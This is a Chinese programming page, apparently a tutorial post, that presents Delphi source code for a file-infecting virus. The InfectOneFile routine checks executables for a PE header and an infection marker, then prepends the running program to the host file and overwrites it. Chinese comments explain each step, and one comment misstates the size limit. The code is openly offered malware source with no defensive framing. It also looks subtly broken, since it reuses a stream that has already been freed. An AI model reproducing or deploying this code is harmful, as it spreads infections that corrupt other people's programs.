日期:2014-05-17 浏览次数:21032 次
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
procedure InfectOneFile(FileName: string);
var
SelfStream, SrcStream: TFileStream; //两个文件流一个存放自己,一个存放宿主程序
DstStream: TMemoryStream;//将自己和宿主程序合并后存入这个流
iID: LongInt;//取得程序的最后4个字节的数据与感染标记比对
Infected, IsPE: Boolean;//判断是否已被感染和是否为PE文件格式
i: Integer;
Buf: array[0..1] of Char;
begin
try
Infected := False;
IsPE := False;
//创建宿主程序到SrcStream
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头PE头偏移量一般小于$108(十六进制)
begin
SrcStream.Seek(i, soFromBeginning);//将流指向文件开始
SrcStream.Read(Buf, 2);//每两个字节读取到buf
//#80#69就是字母PE,PE头以PE字母开头
if (Buf[0] = #80) and (Buf[1] = #69) then
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //将流指向文件最后面的倒数第4个字节
SrcStream.Read(iID, 4);//把这4个字节读出来判断是不是$44444444即感染标记
if (iID = ID) or (SrcStream.Size > 1024000) then //大于10M的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
DstStream := TMemoryStream.Create;
try
//将本程序写入SelfStream流
SelfStream := TFileStream.Create(ParamStr(0), fmOpenRead);
try
//写入本程序即病毒体到合并流
CopyStream(SelfStream, 0, DstStream, 0, VSize);
//再接着写入宿主程序
CopyStream(SrcStream, 0, DstStream, VSize,
SrcStream.Size);
////将流指向流的结尾
DstStream.Seek(0, soFromEnd);
iID := $44444444;
DstStream.Write(iID, 4);//写入4个字节的感染标记
finally
SelfStream.Free;
end;
finally
SrcStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件 ,保存文件
DstStream.Free;
end;
except;
end;
end;